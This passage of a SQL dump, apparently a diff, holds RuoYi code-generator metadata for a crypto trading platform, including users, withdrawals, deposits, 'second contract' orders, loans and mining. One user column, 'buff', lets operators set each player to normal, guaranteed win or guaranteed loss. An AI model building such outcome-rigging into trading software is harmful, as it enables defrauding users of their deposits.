---------------------------- +-- Records of gen_table +-- ---------------------------- +INSERT INTO `gen_table` VALUES (4, 't_app_user', '玩家用户表', NULL, NULL, 'TAppUser', 'crud', 'com.ruoyi.system', 'system', 'user', '玩家用户', 'ruoyi', '0', '/', NULL, 'admin', '2023-06-30 13:22:39', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (5, 't_appuser_login_log', '系统访问记录', NULL, NULL, 'TAppuserLoginLog', 'crud', 'com.ruoyi.system', 'system', 'log', '系统访问记录', 'ruoyi', '0', '/', '{}', 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:32', NULL); +INSERT INTO `gen_table` VALUES (6, 't_app_wallet_record', '用户信息表', NULL, NULL, 'TAppWalletRecord', 'crud', 'com.ruoyi.system', 'system', 'record', '用户信息', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-04 15:05:42', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (7, 't_withdraw', '用户提现表', NULL, NULL, 'TWithdraw', 'crud', 'com.ruoyi.system', 'system', 'withdraw', '用户提现', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-04 15:20:17', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (8, 't_app_user_detail', '用户详细信息', NULL, NULL, 'TAppUserDetail', 'crud', 'com.ruoyi.system', 'bussiness', 'detail', '用户详细信息', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43', NULL); +INSERT INTO `gen_table` VALUES (9, 't_second_coin_config', '秒合约币种配置', NULL, NULL, 'TSecondCoinConfig', 'crud', 'com.ruoyi.system', 'system', 'config', '秒合约币种配置', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-11 10:07:30', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (10, 't_second_period_config', '秒合约币种周期配置', NULL, NULL, 'TSecondPeriodConfig', 'crud', 'com.ruoyi.system', 'system', 'config', '秒合约币种周期配置', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-11 10:07:30', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (11, 't_symbol_manage', '币种管理', NULL, NULL, 'TSymbolManage', 'crud', 'com.ruoyi.system', 'bussiness', 'manage', '币种管理', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48', NULL); +INSERT INTO `gen_table` VALUES (12, 't_app_recharge', '用户充值表', NULL, NULL, 'TAppRecharge', 'crud', 'com.ruoyi.system', 'system', 'recharge', '用户充值', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-12 14:47:27', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (13, 't_user_symbol_address', '用户币种充值地址', NULL, NULL, 'TUserSymbolAddress', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'symbol/address', '用户币种充值地址', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07', NULL); +INSERT INTO `gen_table` VALUES (14, 't_second_contract_order', '秒合约订单', NULL, NULL, 'TSecondContractOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', '秒合约订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00', NULL); +INSERT INTO `gen_table` VALUES (15, 't_load_product', '借贷产品表', NULL, NULL, 'TLoadProduct', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'product', '借贷产品', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03', NULL); +INSERT INTO `gen_table` VALUES (16, 't_load_order', '贷款订单', NULL, NULL, 'TLoadOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'loadOrder', '贷款订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-14 14:39:12', '', '2023-07-17 14:10:36', NULL); +INSERT INTO `gen_table` VALUES (17, 't_mine_financial', '', NULL, NULL, 'TMineFinancial', 'crud', 'com.ruoyi.system', 'system', 'financial', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:44', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (18, 't_mine_order', '', NULL, NULL, 'TMineOrder', 'crud', 'com.ruoyi.system', 'system', 'order', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:44', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (19, 't_mine_order_day', '', NULL, NULL, 'TMineOrderDay', 'crud', 'com.ruoyi.system', 'system', 'day', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:45', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (20, 't_mine_user', '', NULL, NULL, 'TMineUser', 'crud', 'com.ruoyi.system', 'system', 'user', NULL, 'ruoyi', '0', '/', NULL, 'admin', '2023-07-17 16:06:45', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (26, 't_app_mail', '1v1站内信', NULL, NULL, 'TAppMail', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'mail', '1v1站内信', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-18 14:50:51', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (27, 't_option_rules', '前台文本配置', NULL, NULL, 'TOptionRules', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'rules', '前台文本配置', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-19 14:13:24', '', '2023-07-19 14:13:33', NULL); +INSERT INTO `gen_table` VALUES (29, 't_home_setter', '规则说明表', NULL, NULL, 'THomeSetter', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'setter', '规则说明', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-19 16:05:16', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (31, 't_notice', '通知公告表', NULL, NULL, 'TNotice', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'notice', '通知公告', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-20 17:05:20', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (34, 't_currency_order', '币币交易订单表', NULL, NULL, 'TCurrencyOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', '币币交易订单', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-25 11:09:49', '', '2023-07-28 15:31:45', NULL); +INSERT INTO `gen_table` VALUES (35, 't_currency_symbol', '币币交易币种配置表', NULL, NULL, 'TCurrencySymbol', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'currency', '币币交易币种配置', 'ruoyi', '0', '/', '{}', 'admin', '2023-07-25 11:09:49', '', '2023-07-27 17:23:03', NULL); +INSERT INTO `gen_table` VALUES (36, 't_exchange_coin_record', '币种兑换记录表', NULL, NULL, 'TExchangeCoinRecord', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'record', '币种兑换记录', 'ruoyi', '0', '/', NULL, 'admin', '2023-07-25 13:57:19', '', NULL, NULL); +INSERT INTO `gen_table` VALUES (37, 't_ming_order', '质押挖矿订单', NULL, NULL, 'TMingOrder', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'order', 'ming', 'ruoyi', '0', '/', '{}', 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:56:43', NULL); +INSERT INTO `gen_table` VALUES (38, 't_ming_product', '挖矿产品', NULL, NULL, 'TMingProduct', 'crud', 'com.ruoyi.bussiness', 'bussiness', 'ming', 'mingProduct', 'ruoyi', '0', '/', '{}', 'admin', '2023-08-18 15:55:53', '', '2023-08-18 15:57:34', NULL); + +-- ---------------------------- +-- Table structure for gen_table_column +-- ---------------------------- +DROP TABLE IF EXISTS `gen_table_column`; +CREATE TABLE `gen_table_column` ( + `column_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '编号', + `table_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '归属表编号', + `column_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列名称', + `column_comment` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列描述', + `column_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '列类型', + `java_type` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'JAVA类型', + `java_field` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'JAVA字段名', + `is_pk` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否主键(1是)', + `is_increment` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否自增(1是)', + `is_required` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否必填(1是)', + `is_insert` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否为插入字段(1是)', + `is_edit` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否编辑字段(1是)', + `is_list` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否列表字段(1是)', + `is_query` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否查询字段(1是)', + `query_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'EQ' COMMENT '查询方式(等于、不等于、大于、小于、范围)', + `html_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '显示类型(文本框、文本域、下拉框、复选框、单选框、日期控件)', + `dict_type` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '字典类型', + `sort` int(0) NULL DEFAULT NULL COMMENT '排序', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`column_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 576 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '代码生成业务表字段' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of gen_table_column +-- ---------------------------- +INSERT INTO `gen_table_column` VALUES (15, '4', 'user_id', NULL, 'bigint', 'Long', 'userId', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (16, '4', 'login_name', '姓名', 'varchar(50)', 'String', 'loginName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 2, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (17, '4', 'login_password', '登陆密码', 'varchar(50)', 'String', 'loginPassword', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (18, '4', 'phone', '手机号', 'varchar(255)', 'String', 'phone', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (19, '4', 'is_test', '0-正常 1-测试', 'int', 'Long', 'isTest', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (20, '4', 'salt', '盐', 'varchar(1024)', 'String', 'salt', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 6, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (21, '4', 'address', '地址', 'varchar(256)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (22, '4', 'wallet_type', '地址类型 ETH TRC', 'varchar(15)', 'String', 'walletType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 8, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (23, '4', 'status', '0正常1冻结', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 9, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (24, '4', 'totle_amont', '秒合约打码量', 'decimal(20,6)', 'BigDecimal', 'totleAmont', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (25, '4', 'buff', '0正常 1包赢 2包输', 'int', 'Long', 'buff', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (26, '4', 'tree', '代理树', 'varchar(1024)', 'String', 'tree', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (27, '4', 'father_addr', '代理地址', 'varchar(256)', 'String', 'fatherAddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (28, '4', 'father_id', '代理id', 'bigint', 'Long', 'fatherId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (29, '4', 'active_code', '邀请码', 'varchar(256)', 'String', 'activeCode', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (30, '4', 'register_ip', '注册ip', 'varchar(255)', 'String', 'registerIp', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (31, '4', 'host', '注册域名', 'varchar(255)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (32, '4', 'system_user_id', '后台代理id', 'bigint', 'Long', 'systemUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (33, '4', 'email', '邮箱', 'varchar(255)', 'String', 'email', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (34, '4', 'level', 'vip等级 ', 'int', 'Long', 'level', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (35, '4', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (36, '4', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 22, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (37, '4', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 23, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (38, '4', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 24, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (39, '4', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 25, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (40, '4', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 26, 'admin', '2023-06-30 13:22:39', '', NULL); +INSERT INTO `gen_table_column` VALUES (41, '5', 'id', '主键ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (42, '5', 'user_id', '登录用户ID', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (43, '5', 'username', '登录用户名', 'varchar(128)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 3, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (44, '5', 'ipaddr', '访问IP', 'varchar(500)', 'String', 'ipaddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 4, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (45, '5', 'login_location', '访问位置', 'varchar(255)', 'String', 'loginLocation', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (46, '5', 'browser', '浏览器', 'varchar(50)', 'String', 'browser', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (47, '5', 'os', '系统OS', 'varchar(50)', 'String', 'os', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (48, '5', 'status', '登录状态(0成功 1失败)', 'char(1)', 'String', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (49, '5', 'msg', '', 'varchar(255)', 'String', 'msg', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (50, '5', 'login_time', '访问时间', 'datetime', 'Date', 'loginTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-06-30 15:58:46', '', '2023-06-30 15:59:37'); +INSERT INTO `gen_table_column` VALUES (51, '6', 'id', '卡ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (52, '6', 'amount', '余额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (53, '6', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 3, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (54, '6', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 4, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (55, '6', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 5, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (56, '6', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 6, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (57, '6', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 7, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (58, '6', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (59, '6', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 9, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (60, '6', 'before_amount', '前值', 'decimal(30,6)', 'BigDecimal', 'beforeAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (61, '6', 'after_amount', '后值', 'decimal(30,6)', 'BigDecimal', 'afterAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (62, '6', 'serial_id', NULL, 'varchar(20)', 'String', 'serialId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (63, '6', 'type', '余额', 'tinyint unsigned', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 13, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (64, '6', 'symbol', '币种', 'varchar(32)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-04 15:05:42', '', NULL); +INSERT INTO `gen_table_column` VALUES (65, '7', 'id', '卡ID', 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (66, '7', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (67, '7', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 3, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (68, '7', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 4, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (69, '7', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (70, '7', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 6, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (71, '7', 'user_id', '用户', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (72, '7', 'username', '用户名', 'varchar(256)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 8, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (73, '7', 'address', '用户名', 'varchar(500)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 9, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (74, '7', 'amount', '提现金额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (75, '7', 'status', '0审核中1成功2失败', 'tinyint unsigned', 'String', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 11, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (76, '7', 'serial_id', NULL, 'varchar(1024)', 'String', 'serialId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (77, '7', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (78, '7', 'from_addr', '用户名', 'varchar(500)', 'String', 'fromAddr', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 14, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (79, '7', 'type', '0审核中1成功2失败', 'varchar(50)', 'String', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 15, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (80, '7', 'coin', '用户名', 'varchar(500)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (81, '7', 'ratio', NULL, 'double', 'Long', 'ratio', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (82, '7', 'fee', '手续费', 'decimal(10,6)', 'BigDecimal', 'fee', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (83, '7', 'withdraw_id', '用户名', 'varchar(500)', 'String', 'withdrawId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 19, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (84, '7', 'host', 'Host', 'varchar(500)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 20, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (85, '7', 'real_amount', '实际金额', 'decimal(20,6)', 'BigDecimal', 'realAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (86, '7', 'to_adress', '收款地址', 'varchar(255)', 'String', 'toAdress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (87, '7', 'admin_user_id', '后台用户id', 'bigint', 'Long', 'adminUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 23, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (88, '7', 'notice_flag', '通知字段 0未通知 1通知了', 'int', 'Long', 'noticeFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (89, '7', 'with_draw_remark', '提现说明', 'varchar(255)', 'String', 'withDrawRemark', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (90, '7', 'bank_name', '银行名称', 'varchar(255)', 'String', 'bankName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 26, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (91, '7', 'bank_user_name', '银行收款人名称', 'varchar(255)', 'String', 'bankUserName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 27, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (92, '7', 'bank_branch', NULL, 'varchar(255)', 'String', 'bankBranch', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 28, 'admin', '2023-07-04 15:20:17', '', NULL); +INSERT INTO `gen_table_column` VALUES (93, '8', 'id', '', 'int', 'Long', 'id', '1', '0', NULL, '1', NULL, 